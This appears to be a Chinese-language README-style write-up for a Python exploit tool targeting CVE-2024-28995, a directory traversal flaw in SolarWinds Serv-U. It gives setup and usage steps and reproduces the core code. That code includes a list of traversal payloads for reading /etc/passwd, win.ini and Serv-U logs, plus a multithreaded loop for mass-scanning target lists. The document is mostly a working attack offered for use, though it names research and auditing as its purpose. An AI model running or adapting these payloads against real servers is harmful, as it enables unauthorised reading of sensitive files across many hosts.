SolarWinds Serv-U 目录遍历漏洞利用工具 (CVE-2024-28995)

2 阅读3分钟

CVE-2024-28995 漏洞利用工具

项目描述

本项目是一个针对 CVE-2024-28995 漏洞的Python利用工具。该漏洞存在于SolarWinds Serv-U产品中,是一种目录遍历(Directory Transversal)漏洞,允许未经身份验证的攻击者通过特制的HTTP请求读取主机系统上的敏感文件。

该工具提供了高效的漏洞检测和利用功能,支持单目标扫描和批量文件扫描,采用多线程并发机制提升扫描效率,帮助安全研究人员快速评估系统风险。

功能特性

  • 目录遍历漏洞利用:利用路径遍历技术读取系统敏感文件(如 /etc/passwdwin.ini、Serv-U日志文件等)
  • 多路径变体探测:内置多种路径遍历变体(Unix风格、Windows风格、URL编码等),提高成功率
  • 批量扫描支持:支持从文件中读取目标列表进行批量扫描
  • 多线程并发:使用 ThreadPoolExecutor 实现最多10个线程的并发扫描
  • 智能响应识别:自动识别响应内容中的敏感标识符(如 root:Operating System: Windows Server 等)
  • 彩色终端输出:使用 colorama 库提供彩色输出,增强可读性
  • SSL证书验证忽略:自动禁用SSL警告,处理自签名证书场景

安装指南

系统要求

  • Python 3.6+
  • pip3

依赖安装

# 克隆项目仓库
git clone https://github.com/gotr00t0day/CVE-2024-28995.git
cd CVE-2024-28995

# 安装所需依赖
pip3 install -r requirements.txt

依赖项列表

  • requests:发送HTTP请求
  • colorama:终端彩色输出
  • urllib3:HTTP请求库(用于禁用SSL警告)
  • concurrent.futures:多线程支持(Python标准库)

使用说明

基础用法

扫描单个目标
python3 CVE-2024-28995.py -u domain.com
批量扫描目标列表
python3 CVE-2024-28995.py -f domains.txt

其中 domains.txt 每行一个目标域名或IP地址:

example.com
192.168.1.100
target.org

参数说明

参数简写说明
--url-u指定单个目标URL或域名
--file-f指定包含目标列表的文件路径

典型使用场景

  1. 单点安全审计:对单个Serv-U服务器进行漏洞验证
  2. 内网资产批量检测:批量扫描内网中的Serv-U服务
  3. 渗透测试辅助:快速确认目标是否存在CVE-2024-28995漏洞
  4. 漏洞复现研究:安全研究人员学习和验证漏洞原理

输出示例

成功利用漏洞时,工具会输出包含敏感文件内容的彩色响应:

Trying: https://target.com/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
[+] Success: https://target.com/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
[文件内容...]

核心代码

漏洞利用核心函数

def exploit(url):
    """核心漏洞利用函数,尝试多种路径遍历变体"""
    if "https://" not in url:
        url = f"https://{url}"
    
    # 内置的路径遍历payload列表
    paths = [
        r"/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", 
        r"/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt",
        r"/?InternalDir=\..\..\..\..\etc&InternalFile=passwd", 
        r"/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd",
        r"/?InternalDir=/../../../../windows&InternalFile=win.ini"
        r"/?InternalDir=\..\..\..\..\etc/passwd"
    ]

    for path in paths:
        full_url = f"{url}{path}"
        print(f"{Fore.WHITE}Trying: {Fore.YELLOW}{full_url}")
        response = get_request(full_url)
        if response:
            # 检测Unix系统敏感文件特征
            if any(indicator in response for indicator in ["root:", "bin:x:", "daemon:", "admin:", "Operating System: Windows Server"]):
                print(f"{Fore.GREEN}[+] Success: {full_url}")
                print(response)
                return
            # 检测Windows系统INI文件特征
            elif all(section in response for section in ["[fonts]", "[extensions]", "[mci extensions]", "[files]", "[Mail]"]):
                print(f"{Fore.GREEN}[+] Success (Windows): {full_url}\n")
                print(f"{Fore.YELLOW}{response}")
                return

HTTP请求函数

def get_request(url):
    """发送HTTP GET请求,忽略SSL证书验证"""
    try:
        r = requests.get(url, verify=False, timeout=15)
        return r.text
    except requests.RequestException as e:
        pass
        return None

多线程批量扫描

def main():
    print(f"{Fore.YELLOW}{banner}")
    if args.url:
        exploit(args.url)
    if args.file:
        with open(args.file, "r") as f:
            domains = [line.strip() for line in f.readlines()]
        
        # 使用线程池实现并发扫描,最大工作线程数为10
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [executor.submit(exploit, domain) for domain in domains]
            for future in as_completed(futures):
                future.result() 

命令行参数解析

parser = argparse.ArgumentParser(description="CVE-2024-28995")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File to scan")
args = parser.parse_args()

漏洞分析参考

更多关于CVE-2024-28995的技术分析,请参考: Rapid7漏洞分析报告 6HFtX5dABrKlqXeO5PUv/2/bAPerRFkAUB1lQtcR95U=